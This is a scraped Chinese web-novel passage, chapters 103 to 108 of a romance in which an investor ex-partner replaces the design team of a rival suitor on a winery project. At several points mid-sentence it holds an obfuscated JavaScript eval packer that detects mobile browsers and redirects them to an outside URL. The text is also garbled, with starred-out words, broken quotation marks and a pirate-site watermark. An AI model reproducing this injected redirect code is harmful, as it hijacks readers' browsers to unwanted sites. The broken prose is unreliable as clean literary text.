她只记得昨晚自己喝了很多酒,后来出去透气,碰到了那个恶心的脏辫男,对她动手动脚的,然后,贺淮钦出现了,他好像动手打了那个男人,还把她抱了起来…… 之后的事情,温昭宁就断片了。 “嘀嘀——” 温昭宁正努力回想昨晚的事情,房门忽然传来刷门卡的声音。 她往门口望去,看到一颗小脑袋,悄悄地从门外探进来。 是青柠。 青柠看到床上的温昭宁已经坐起来 ,小脸立刻绽开一个笑容。 “妈妈!青柠喊了温昭宁一声,然后转头对身后的人说,“爸爸,妈妈已经醒了!我们不用玩悄悄游戏了。 房门被推得更大,一大一小的两个人走进来。 青柠小脸红扑扑的,显然已经去疯玩过一阵了,贺淮钦一手拎着青柠的外套,一手提着她的水杯,十足的奶爸模样。 “妈妈,你还好吗?青柠走到床边,关切地看着温昭宁,“爸爸说你昨晚喝了好多老酒,人都喝醉了。 温昭宁有点尴尬:“妈妈昨晚太高兴了,所以喝多了。 “那你现在感觉怎么样?难受吗? “妈妈没事。温昭宁说着,看向贺淮钦,“我……怎么会在这里啊? 贺淮钦闻言,眉头一蹙。 他差点忘了,她一喝酒就会断片。 看来,是断片的毛病又犯了。 “你不记得了? 温昭宁摇摇头:“不记得了。 好好好,敢情昨晚在浴室里又是抱他又是吻他的,现在她忘得一干二净了,就剩他凭空多了这段记忆。 “昨晚青柠睡觉前说想和妈妈一起睡,所以我就把你带到这里和青柠一起睡了。贺淮钦说。 青柠:“…… 又关她的事? 她昨晚说过这句话吗? 好像没有吧,她昨晚分明玩得太累,直接睡过去了,一句话都没有讲啊。 不过,她的确挺希望和妈妈一起睡觉的。 爸爸真懂她! 温昭宁下床,发现自己的礼服都已经换成睡衣了。 “我…… “你自己换的。贺淮钦说。 其实睡衣是贺淮钦给她换的,但是,反正她都不记得了,也没有什么好掰扯的,他现在只希望自己也能把昨晚的那段记忆一键删除,这样才公平。 温昭宁总觉得哪里不对劲,但她来不及细想,手机响了起来。 是镇里的工作人员给她打电话,问她什么时候回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134927|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温昭宁接到电话,才想起来她今天下午还要去镇里开会。 贺淮钦投资的那个酒庄的外墙已经立起来了,今天室内设计团队会到酒庄实地考察,她得去和设计团队的总监碰个 面,沟通一下初步的设计方案。 这是上周敲定好的行程,她差点睡过头误事。 “我得回悠山了。”温昭宁看了一眼青柠,询问贺淮钦,“青柠是跟我回去?还是你们另有安排?” “我中午要飞澳洲,等你收拾好,就安排司机送你和青柠回去。” “好,谢谢。” 温昭宁赶紧去洗漱,收拾行李,然后带着青柠回了悠山。 下午一点,温昭宁去镇上开会。 这次负责酒庄的设计团队,是镇里通过竞标选出来的,据说设计团队的负责人很年轻,但已经参与过京市大酒店的设计工作。 温昭宁手里拿着文件,心里盘算着今天需要协调的事项,刚走到会议室的门口,就和里面出来的人差点撞上。 “抱歉!”温昭宁下意识地退后半步,抬起头。 对面的人反应比她快,已经先一步侧身让开,同时扶了一下温昭宁手里差点被撞落的文件。 温昭宁看清对面的人,一愣。 “允谦?” 段允谦穿着米白色的棉麻休闲西装,内搭浅蓝色的衬衫,没有打领带,袖口随意挽起,露出线条流畅的小臂。 他原本蓬松柔软的栗棕色头发,今天梳得很正式,鼻梁上架着一副无框眼镜,镜片后的眼睛微微弯着,看到温昭宁的刹那,随即化开成一片温和的笑意。 “昭宁姐,好久不见。” 温昭宁惊喜:“允谦,你怎么在这里?” 段允谦指了指温昭宁手里的文件,笑着说:“我是这次酒庄设计团队的负责人。” 温昭宁想起来,段允谦的确是学设计的,段姨说过,他之前在京市就是负责京市大酒店的设计。 一切都对上了。 “原来是你啊!”温昭宁笑。 “是我。”段允谦朝温昭宁伸出手,“接下来的日子,就请昭宁姐多多指教了。” 第104章 已经分手了 下午的会议持续了一个多小时。 因为温昭宁和段允谦相熟,沟通起来格外顺畅,两人之间没有不必要的客套,每一句话都能直指核心需求。 会议结束后,温昭宁开车带着段允谦一行人去酒庄实地勘察。 酒庄现在才堪堪有个外墙轮廓,里面非常的空旷凌乱。 进**内后,段允谦拿出卷尺和图纸,开始测量关键位置的尺寸。 “允谦,你看看这个位置,能不能打掉一面墙做成开放式吧台?”温昭宁指着大厅后方的一面墙,提出自己的想法。 段允谦绕到那面墙边走了两圈,手指屈起,在不同位置轻轻敲击,侧耳倾听声音的差异,然后,他从工具包里拿出了一个小小的激光测距仪和水平仪,对着墙壁和天花板反复测量、校准。 “这面墙砖混结构,不是主要承重。”他一边操作仪器,一边冷静地分析,“理论上是可以动的,但是需要做加固梁,而且要考虑拆除后对原有屋顶桁架的影响,等晚一点我重新做个评估。” “好。” 两人又在酒庄的不同位置转了转。 温昭宁每提出一个要求,段允谦都会在笔记本上记录,分析判断可行性。 工作中的段允谦和生活里的他完全不一样。 温昭宁站在一旁,看着段允谦在夕阳暖光中专注沉稳的侧影,看他游刃有余地处理专业问题,心里第一次清晰地意识到,段允谦早就和她印象里的那个躺在医院病床上茫然的“弟弟”不太一样了。 现在的他,已经成长为了一个真正成熟稳重,在自己的专业领域里极具掌控力的大人了。 酒庄的勘察结束后,段允谦让几个同事先回工作室,自己则留了下来。 “昭宁姐,这段时间我得多跑现场,比对数据,完善设计图的初稿,为了节省时间,我就先不回去了,你的民宿还有房间吗?” “有,正好昨晚退了一间房。” “那太好了,我原本还想着如果你的民宿满客,我就去镇上住酒店。” “镇上来回也不方便,住民宿是最方便的,走,我带你去办入住,给你内部员工价。” 段允谦笑起来:“你不用给我打折,差旅住宿公司全额报销。” “这样啊, 那行,住宿费我就不给你打折了,今晚请你吃饭,谢谢你照顾我的生意。” “好,谢谢昭宁姐。” 两人一起去了民宿。 段允谦办理好入住后,就上楼去放行李,温昭宁在楼下等他。 “昭宁姐。”鹿鹿凑过来,神秘兮兮地对温昭宁说,“我觉得我们民宿的‘观山’房是有点子玄学在的。” “什么玄学?” “你没发现吗,‘观山’房里每一次入住的都是大帅哥。第一任房客贺先生,顶级颜霸,第二任房客路易斯,金发碧眼,鼻梁高得能让人滑滑梯,然后就是今天这位段先生,笑起来简直就是阳光男大,我的菜。”鹿鹿拉着温昭宁的胳膊,轻声问,“昭宁姐,你和段先生是朋友,那你知不知道这位段先生有没有女朋友啊?” “这个我不是很清楚,不过据我所知,他有喜欢的人。” 温昭宁记得,之前段允谦说过,他有喜欢的人,那个姑娘在京市。 “呜呜,帅哥都心有所属了,我的桃花什么时候才能来?” 温昭宁摸摸鹿鹿的脑袋,安慰她:“别着急,总有属于你的那一个人会出现的。” “希望他快点来,我想谈甜甜的恋爱。” 两人正聊着天,段允谦放置好行李从楼上下来了。 “昭宁姐,我好了。” “那走吧。” 温昭宁开车带着段允谦去镇上的农家餐馆吃饭。 暮色四合,街道两旁的店铺亮起暖融融的灯火,炊烟混合着饭菜的香气在空气中飘转,一切都充满了小镇傍晚特有的生活气息。 段允谦似乎很喜欢这种感觉,举起手机左左右右拍了好几张照片。 温昭宁笑:“你是不是很久没有感受过这种小镇慢生活了?” “是啊。”段允谦默默按下锁屏键,藏住了他偷拍温昭宁开车的那张照片,“这几年不是在京市,就是在沪城,节奏太快了。” “那趁着这段时间,正好可以感受一下。” “嗯。” 两人来到一家农家菜餐馆,餐馆不大,但收拾得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134928|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净整洁,墙上挂着几串晒干的辣椒和玉米,朴实又温馨。 温昭宁点了几个店里的招牌菜,柴火灶烧的土鸡煲、清炒山野菜、自家熏的 腊肉炒蒜苗,还有一碟用山泉水点的豆腐。 “你要喝点酒吗?”她问段允谦。 “我不喝。” 说的域名caixs?(请来才小 说 看最新章节 完整章节) “那我点个山楂汁?” “好。” 温昭宁又点了一瓶山楂汁,山楂汁拿上来后,段允谦拧开瓶盖,给两人面前的玻璃杯都倒上。 “对了昭宁姐,还没恭喜你呢。”段允谦开口,举着玻璃杯说,“我饮料代酒,恭喜你昨天获奖。” 温昭宁挺惊讶:“你怎么会知道?我还以为你只专注于你的设计和图纸,不太会关注这些自媒体行业内的评选。” “我的确不太关注网上的热闹,我只是关注你……” 温昭宁微顿了一下。 段允谦立刻又补一句:“昭宁姐你不知道吧,我和我妈都是你的粉丝,尤其是我妈,她平时没什么事情就在家里刷你的视频,这次你获奖的消息,也是她刷到了告诉我的。” 他碰了碰温昭宁面前的杯子,发出“叮”的一声。 温昭宁的注意力被转移:“原来是这样啊,那真是谢谢段姨对我的关注了。” 她喝了一口杯中的山楂汁,放下杯子问:“段姨最近身体还好吧?” “她挺硬朗的,总想着出去找活干,让她在家里安享晚年跟让她坐牢似的。” “老人家勤劳,闲不住。” 段允谦点点头:“她也总念着你和青柠。” “她和青柠的确很久没有见面了,等有机会,我就带着青柠去看她。” “好,那她一定非常高兴。” 两人聊了几句,话题自然而然地又绕到工作上。 “对了,昭宁姐,我听说投资酒庄的老板,也是沪城人?” “嗯。” “是你男朋友?” 温昭宁一愣,摇摇头:“我们已经分手了。” 第105章 忍一下 段允谦其实早在来之前,就知道投资酒庄的老板是贺淮钦,他也听说了温昭宁和贺淮钦在争夺孩子抚养权的事情。 虽然他并不知道这中间发生了什么,但此刻听到温昭宁亲口承认她和贺淮钦已经分手,他的心底还是闪过一丝喜悦。 当然,这不是幸灾乐祸,绝对不是。 他宁愿温昭宁永远快乐顺遂,哪怕这份快乐与他无关。 当下,他的那一丝喜悦,更多的是因为心里那枚被埋藏多年的种子,终于看到了一丝微光。 是的,段允谦暗恋温昭宁,暗恋了五年之久,但在这段感情里,段允谦最遗憾的是,从他喜欢上温昭宁的那一刻起,她就早已是别人的妻子。 所以这么多年,他一直将这份好感和倾慕,小心翼翼地藏在心底最妥帖的角落,恪守自己的界限,不越雷池半步。 他的暗恋,像深埋地底的种子,在经年累月的沉默注视中,肆意生根,却从未想过破土。 后来,段允谦终于从母亲口中听说了她离婚的消息,他的心随着她的境遇而起落,他对她满是担忧,可还没等他反应过来,她的身边已经有了新男友。 那个男人,贺淮钦,就像是一座无法逾越的高山,横亘在他和温昭宁之间。 他又一次错过。 就当段允谦以为,他和温昭宁的故事,将永远书写不出一个结局的时候,温昭宁和贺淮钦闹掰的消息再次传来。 他们分手了。 不是普通的矛盾,不是暂时的冷战,是双方撕破脸皮,对簿公堂,争夺孩子的抚养权。 他们之间,似乎已经走到彻底**,再无转圜的境地。 这个认知,让段允谦压抑克制多年的感情,忍不住开始翻涌。 他想,这或许是上天给他的一个机会,一个让他可以为自己勇敢一次的机会,他不想再错过。 所以,在听说酒庄项目是由她牵头负责的时候,他拼尽全力抓住了这次竞标。 一切顺利,此刻,他终于坐到她的面前,亲耳听到她说:“我们已经分手了。” “抱歉昭宁姐,是我不该多嘴一问。”段允谦说。 “没事没事,后面酒庄开始装修,大家免不了还要见面,现在问清楚,总比后面不清不楚的好。 温昭宁嘴上豁达,但段允谦分明看到她眼底闪过的一丝难过。 他意识到,虽然温昭宁现在单身,但要修补好上一段感情给她造成的伤痕,也绝非易事。 不过没关系,他可以慢慢来。 “酒庄的设计图初稿,多久能好? “大概要一周。 “好,那这一周里,如果你要去现场,随时喊我。 “好。—— 接下来三天,段允谦都在民宿赶设计稿,大门不出二门不迈,温昭宁偶尔能在吃饭的时候看到他。 等到第四天的时候,为了细化设计图初稿,段允谦叫上温昭宁,又去了一趟酒庄。 “今天我主要是为了细化设计图上一些关键点的尺寸,比对一下光线角度以及材料在现场的实际效果。去的路上,段允谦对温昭宁说,“图纸终究是平面的,而建筑是有生命的,需要用脚步去丈量,用眼睛去感受,用手去触摸。 温昭宁打量段允谦一眼,他今天的装束显然更加“工地一些,深灰色的工装裤,同色系的抓绒外套,他还背了一个硕大的工具包,里面装着卷尺、激光水平仪、**和几本厚厚的材料色卡和纹理样本。 两人到了酒庄后,温昭宁就开始协助段允谦用卷尺测量墙体厚度,同时预设未来吧台的高度。 “这里,如果按照图纸,操作台的进深会有点局促,弯腰取物可能不方便。温昭宁对段允谦说。 段允谦看了看图纸,又看了看现场,从工具包中拿出一根红色的粉笔,在地上画出几个参考点:“那我们现场调整一下,你站过来,我们再感受一下。 “好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134929|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温昭宁站到了段允谦标记的位置。 段允谦拿着卷尺,半跪在地上,重新测量她与背后墙体的距离:“往右边再移十公分,你看看行不行? “嗯,可以。 就在段允谦准备站起身,去拿粉笔重新标记时,他支撑身体的手掌,无意中按在了墙角一处砖石的断面上。 “嘶—— 段允谦发出了一声轻微的抽气声。 温昭宁立刻注意到,她转眸去看,发 现段允谦的手掌边缘被那粗糙尖锐的砖石断面划开了一道口子。 “你受伤了!”温昭宁连忙凑过去查看。 “没事小口子。”段允谦不以为意“我之前去工地的时候经常受伤这点小伤不碍事。” 他说着下意识地想用另一手去按住伤口。 “别动!”温昭宁制止他“你的手上都是灰别感染了。” 她低头在自己随身携带的帆布包里一阵翻找很快找到了一包独立包装的消毒湿巾还有两张创可贴。 “手给我。”温昭宁不由分说地拉过段允谦受伤的那只手“我帮你稍微处理一下。” 她用湿巾小心翼翼地清理了一下伤口周围的灰尘和血迹因为怕弄疼他温昭宁的动作特别轻柔。 段允谦垂眸看着她低头专注的样子没有抽回手任由她握着湿巾凉凉的按在火辣辣的伤口上带来一阵短暂的刺痛。 “嘶——” “忍一下。” 她靠得很近身上有一种淡淡的果木香这清新的气息在这充满灰尘的空间里格外的清晰。 段允谦的心跳得很快。 “暂时先这样处理一下等回去民宿 这创可贴是温昭宁之前为青柠买的所以是很可爱的卡通图案的。 她正低头小心翼翼地给段允谦贴上创可贴时门外忽然传来了脚步声。 “贺先生这外墙竣工有几天了现在设计团队已经进场就等初稿出来发给你过目。” 第106章 更换设计团队 是副镇长的声音。 温昭宁抬头看向门口。 冬日午后的阳光,在门口劈开一条光带,光带中,尘埃狂舞。 几个人影逆光站在门口。 为首的是悠山的副镇长,而副镇长身旁的人,是贺淮钦。 贺淮钦穿着黑色的羊绒大衣,微微抬着下巴,目光扫视着酒庄的外墙,然而,就在他的视线落向门内时,他的所有动作和所有表情,都在瞬间凝固了。 他看到了温昭宁,也看到了和温昭宁靠得极近的段允谦,更看到了两人还触碰在一起的手。 阳光斜斜地打在那个角落,给面对面站着的两个人镀上一层暧昧的金边,那幅画面,像一张被骤然定格的亲密照片。 温昭宁触到贺淮钦森冷的目光,第一时间反应过来,松开了段允谦的手,往后退了一步,拉开了与段允谦的距离。 这个动作,多少有些欲盖弥彰的意味了。 副镇长也看到了两人,脸上的笑容僵了一下,随即又迅速堆起:“哎哟,小温老板和小段设计师也在啊。正好正好,今天我把贺先生邀请过来看一下外墙落成的情况,也听听贺先生对酒庄内部装修的意见。” 贺淮钦就站在那里,一动不动。 逆光让他大半张脸都隐在阴影里,看不清具体表情,只有那双眼睛,锐利得吓人。 “来来来,小段设计师,给你介绍一下,这位是贺淮钦贺先生,我们酒庄的投资人。”副镇长为两人引荐,“贺先生,这位是段允谦小段设计师,我们酒庄内部的设计将有小段设计师和他的团队来完成。” 段允谦走到贺淮钦的面前,朝贺淮钦伸出手:“贺先生,幸会。” 贺淮钦看了一眼段允谦手上的卡通创可贴,没有去握他的手,而是问:“手受伤了?” “是的,手刚才不小心划开了。” “那就去好好处理一下吧。”贺淮钦的目光,像锋利的刀片,在段允谦脸上刮过,语气甚是淡漠:“免得感染。” 他完全没有想要和他握手的意思。 段允谦收回手:“好,谢谢贺先生的关心。” 贺淮钦挪开了目光,迈腿走出门外,没有再多看温昭宁和段允谦一眼。 副镇长搓搓手,手心里已经冒出 了冷汗:“小段,你去处理伤口,小温,你和我们一起绕一圈。 “好。 温昭宁冲段允谦点点头,跟上了贺淮钦他们一行人。 贺淮钦又沿着酒庄外围走了一圈,忽然开口问:“内部装修的设计图纸什么时候能出来? 副镇长看向温昭宁。 “大概还要四天。温昭宁保守地说。 “大概?贺淮钦脸上浮起一丝上位者的不悦。 副镇长赶紧朝温昭宁使了个眼色。 温昭宁立刻改口:“四天。 之前段允谦说过设计图纸一周能出来,现在已经过去四天,再给他四天时间,应该足够了。 “好,那四天之后再开个会。 “好的好的。副镇长连连应声。—— 四天之后,镇政府会议室。 会议桌旁,坐着副镇长、镇里负责酒庄项目的三位工作人员、温昭宁以及段允谦的设计团队。 贺淮钦带着陈益,踩着点来到会议室。 “贺先生,您来啦。 副镇长站起来,想同贺淮钦寒暄几句,贺淮钦直接比了个手势示意他坐。 “我赶时间,直接开始吧。贺淮钦开口。 “好。副镇长看向段允谦,“小段设计师,现在由你向贺先生展示一下设计图的初稿。 “好的。 段允谦打开笔记本电脑,连接投影,将酒庄内部的设计效果图一页一页展示出来,并辅以清晰的讲解。 他的设计方案既考虑了酒庄的功能性,又融入了本地元素,预算也卡得不错,整体听下来,一切都很合理。 可当段允谦讲解完毕,征询大家意见时,一直沉默不语的贺淮钦忽然缓缓抬起了手。 “我有几个问题。贺淮钦说。 所有人的目光都集中到他身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134930|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “贺先生,您请讲。段允谦说。 “我觉得段设计师的这套设计方案中,通风系统的设计,存在重大隐患和设计缺陷。 “贺先生何出此言?段允谦眉头皱起,“这套系统是我综合了本地气候和多种成熟方案后选定的,无论是原理还是设备选型,都经过详细的论证。 “你或许真 的做了很多功课,可你别忘了,酒庄的核心是酒,酒是有生命的,对于存储环境的温度、湿度和空气质量要求都极为苛刻,你的方案,侧重于‘节能’和‘基础通风’,采用的是被动式通风结合智能调控的思路,这在普通建筑或许可行,但用于酒窖,特别是中长期存储高品质葡萄酒的酒窖,这远远不够。贺淮钦一边讲话,一边无意识地敲击着手里的钢笔。 那细微的“咚咚声,把温昭宁的神经都挑起来了。 “还有,你低估了本地山区春季返潮和夏季极端湿热天气对酒窖内部微环境的冲击力,被动式通风的响应速度和调节精度存在滞后性风险,一旦调控不及时,酒窖内湿度飙升,对软木塞和酒标将是灾难性的影响。 贺淮钦全程淡淡的,没有情绪化的指责,只有冷静到残酷的技术分析和风险评估,而他的每一句话,都戳在酒庄投资最核心的命脉上。 段允谦一时接不上话来。 贺淮钦提出的这部分,的确是他方案里考虑欠妥当的部分。 “除了以上我提出的问题,段设计师的整体设计也很缺乏灵魂,缺乏真正能打动客户、形成独特竞争力的核心记忆点,你的设计方案中提及的青砖、旧木、本地元素,这些堆砌起来,只能算是合格的乡村风格,而我要的是一个具有前瞻性,能成为区域标杆的精品酒庄。 会议室里鸦雀无声。 段允谦的脸色一阵白一阵青,他竭力让自己保持冷静:“那贺先生的意思是? 贺淮钦放下手里的钢笔,直视着段允谦的眼睛说:“我的意思是,我不满意段设计师这个方案呈现出来的专业性深度和创意高度,我需要更换设计团队。 第107章 以什么身份质问他 会议室内,贺淮钦说出那句“更换设计团队”后,气氛一下跌至冰点。 副镇长和他随行的几个工作人员面面相觑,但没有人敢提出异议,毕竟,贺淮钦才是那个给钱的财神爷。 没有他,别说大家坐在一起开酒庄会议了,根本连酒庄都不会有。 温昭宁看到段允谦尴尬的神色,想到他这一个多礼拜为这个项目付出的心血和汗水,甚至,他的手还因此受了伤……她忍不住站了起来。 因为动作有些急,椅子腿与地面摩擦,发出响亮的刺啦声。 贺淮钦听到声响,转眸看向她。 “温老板似乎有话要说?”他的眼眸深邃,望着她时带着沉沉的压迫感。 “贺先生,段设计师的方案,目前只是初稿,还有很多细节可以深化可以调整,如果你有什么不满意,他可以根据你的意见修改。设计本身就是一个不断打磨不断完善的过程,如果有一点不满意就直接更换设计团队,这是不是有点太过武断了?” 面对温昭宁的质问,贺淮钦脸上的表情很平静,甚至可以说得上是淡漠。 “修改?”他扬了下唇角,“温老板的意思是我们需要再安排若干次会议,反复讨论,一次次的推翻重来?抱歉,我的时间很宝贵,我投资这个项目,是希望看到高效、专业、能直达目标的成果,而不是一个旷日持久、不断试错的过程。” 简言之就是,他没有时间陪他们闹。 “可是……” “没什么可是的。”贺淮钦打断她的话,“我认为,如果设计稿的初期就对整体方向存在较大的分歧,那么及时止损,更换一个理念更契合,执行更高效,成果更可预期的团队,这才是对项目的负责。” 温昭宁还想再为段允谦争取一下,一旁的段允谦轻轻攥了一下她的胳膊,示意她不用再说了。 这个动作,落在贺淮钦的眼里,掀起的是更汹涌的情绪。 他的目光冷冷地在会议桌上扫视了一圈:“各位,谁还有意见补充?如果没有,今天就到这里结束!” 没有人说话。 贺淮钦等了五秒:“既然没有异议,那就散会。” 他说完,从容起身,整理了一下本就没有什么褶皱的西装袖口,头也不回地大步走出 了会议室。 陈益收拾了一下贺淮钦的笔记本电脑和钢笔,也跟着转身走了。 会议室里,满室空寂。 温昭宁沉了口气,还是忍不住推开了段允谦的手,朝着贺淮钦的背影追了出去。—— “贺律,温小姐来追你了。”陈益走在后面,发现温昭宁追出来之后,立刻向贺淮钦汇报。 贺淮钦冷哼一声:“你看清楚,她那是追我吗?” 她追的,分明是段允谦的项目。 “贺先生,你等一下!” 贺淮钦没等,步伐反而迈得更大,镇政府陈旧的走廊,皮鞋敲击**石地面的声音,在空旷的廊道里回荡,急促而沉重。 温昭宁见状,加快脚步,几乎是小跑着冲到了贺淮钦的面前,张开手臂,挡在了走廊的出口处。 陈益见这两人情况不对,夹紧了手里的公文包,侧身沿着出口的缝隙一点点开溜。 “贺律,我在车上等你哈。” 说完,两条腿跑得比任何时候都快。 贺淮钦被迫停下脚步,他垂眸,看着温昭宁。 她气喘吁吁的,脸颊因为奔跑和情绪激动而泛起红晕,几缕碎发跑乱了贴在额角,眼睛里燃烧着两簇小小的火苗。 “温老板还有什么事?”贺淮钦指了指自己的手表,“有事快说,我还有个会。” “你为什么一定要换掉设计团队?”温昭宁顾不上喘匀气,语速飞快:“贺先生,这件事明明有更好的解决方式,我希望你不要带入私人感情,再给允谦一次机会。” “允谦……”贺淮钦不耐烦地重复一遍这个从她口中说出来的亲密称谓,眼神愈发深如寒潭,“我已经在会议上说得很明确了,现在,到底是谁在感情用事?还有,温昭宁,你以什么身份来质问我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134931|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温昭宁刚才急着为段允谦打抱不平,一时情绪上头,现在被贺淮钦居高临下地反问了几句,瞬间失了气势。 是啊,她以什么身份质问他? 贺淮钦可是这个项目的投资方,她凭什么质疑资方的决策? “我……”温昭宁深呼吸,待理清楚自己的思绪后,再次开口,“贺淮钦,那我现在作为你个人恩怨的关联方,我想请问你,你有没有因为我,针对段允谦?” 她说这话的时候,紧紧盯着贺淮钦的眼睛,试图从里面找到一丝被她说中的慌乱、恼怒,或者,哪怕一丝丝别的什么情绪都好。 然而,都没有。 贺淮钦很平静。 “温昭宁,那么,我也想请问你一下,我为什么要因为你去针对段允谦?他把问题抛了回来。 温昭宁想起四天前,在酒庄,段允谦的手受伤了,她拉着段允谦的手为他处理伤口的时候,正好被贺淮钦看到。 或许,这是**。 可是,她不确定,现在的贺淮钦是否真的还会为她吃醋? 她也不敢说出口,怕是自取其辱。 “因为他的手受伤了,你给他处理伤口,我吃醋?因为你一口一个允谦,我不开心?还是因为你和他一起共事,我嫉妒? 他竟然把她想说的话都说出来了! 温昭宁抬眸看着他,憋了许久,终于憋出一句:“那你有吗? “我没有。贺淮钦一口否认,“我提出意见,是因为他的方案确实存在瑕疵,不符合我对这个项目的预期,仅此而已,至于你和他怎么样,那是你们的自由,我没有任何兴趣,更不会因此浪费我的时间和精力,去做‘针对’这么无聊的事情。 他说到最后,声音已经恢复了最初的平淡和疏离。 “所以,温老板,这个答案你满意了吗?他又看了一眼手表,“可以让开了吗?我真的还有事。 话都说到这份上了,温昭宁只能放下拦路的手。 贺淮钦与她擦肩而过,头也不回地走了。 第108章 追求她 温昭宁站在原地,像是被抽干了力气。 她承认,自己冲出来的那一刻,其实心里也存着一丝期盼,她期盼他的冷漠、他的刻薄,他的打压,是因为看到她和别的男人在一起,是因为他还在乎她而产生的非理性的情绪。 可原来他并没有。 是她高估了自己。 “昭宁姐。”段允谦从会议室里追出来,“你不用再为我争取了。” 温昭宁看着段允谦,心里五味陈杂。 虽然贺淮钦否认了他要更换设计师团队并非有意针对,可温昭宁总觉得如果不是她和贺淮钦之间剪不断理还乱的恩怨纠葛,今天的事情也不至于没有回旋的余地。 “抱歉允谦……” “你道什么谦啊?”段允谦安慰她,“这件事情和你没有任何关系。贺先生今天提出的那些意见,的确说的都在点子上,我们被换掉,是我们的设计方案不够周全不够专业。干我们这一行的,被甲方提意见,甚至被退稿,这太正常了,有时候,尖锐的批评反而让人清醒,能看到自己的不足,这次的事情对我而言,未必完全是坏事。” 段允谦说得坦然又客观,甚至带上了职业化的自省,这让温昭宁的心里没有那么内疚了。 “那你接下来什么打算?”温昭宁问。 “我打算这趟就当是来度假了。”段允谦看着温昭宁说,“我暂时就在你的民宿里住着,周边玩一玩。” 反正,他接这个项目的主要目的是有机会和温昭宁多多接触,虽然项目黄了,但是,至少他多了一个名正言顺的理由可以留在她的民宿。 “好,那看来差旅报销是走不通了,房费我给你打折。” 段允谦被逗笑了:“温老板真是好老板,谢谢温老板了。” 接下来的几天,段允谦将悠山附近的景点玩了个遍。 周五凌晨,温昭宁还作为向导,带他去看了悠山最著名的云海日出,看完日出,两人一起在山顶吃了个早餐,然后坐缆车下山。 回到民宿,已经九点了。 温昭宁还没有进门,就看到贺淮钦的大G停在门口。 贺淮钦来了? 温昭宁和段允谦一起走进庭院。 鹿鹿看到他们,招手和他们打招呼:“昭宁姐段 先生,你们看日出回来啦!有没有拍到日出的照片分享一下?” 温昭宁还没回答,就看到贺淮钦带着一个男人从二楼下来。 鹿鹿凑到温昭宁面前,轻声解释:“昭宁姐,刚刚贺先生带着一位古先生来办入住,这位古先生是酒庄那边新来的设计师。” 新设计师入场了,段允谦的设计团队是彻底没戏了。 温昭宁看了一眼段允谦,段允谦冲她笑了一下:“你先忙,我去楼上放一下相机。” “好。” 段允谦径直过去,与贺淮钦面对面擦肩。 温昭宁放下手里的包,朝贺淮钦和那位古先生走过去,纵然她心里有气,但开门做生意,不能不搭理客人。 “贺先生,早上好。” 贺淮钦看了她一眼,其实,他在二楼的时候,就已经看到温昭宁和段允谦了,两人穿着户外冲锋衣,从薄雾缭绕的小径尽头并肩走来,一路熟稔的说说笑笑,温昭宁眉眼间是温柔又松弛的神色。 “这位是古达。”贺淮钦给她介绍,“酒庄项目的设计总监。” “古总监你好,我是温昭宁。” “温老板,幸会。”古达冲温昭宁友好地笑了笑,“我听贺先生说,温老板负责酒庄项目的协助工作,不知道温老板现在有没有时间带我去酒庄现场转一转。” “好,我现在就可以带你过去。” “那太好了,麻烦温老板了。”—— 温昭宁带着古达去了酒庄,贺淮钦因为临时接了一个律所的电话,没有一起过去。 他坐在车里,处理着电话里客户提及的急件。 这一处理,就是半小时,等他终于完成工作,刚下车准备松松筋 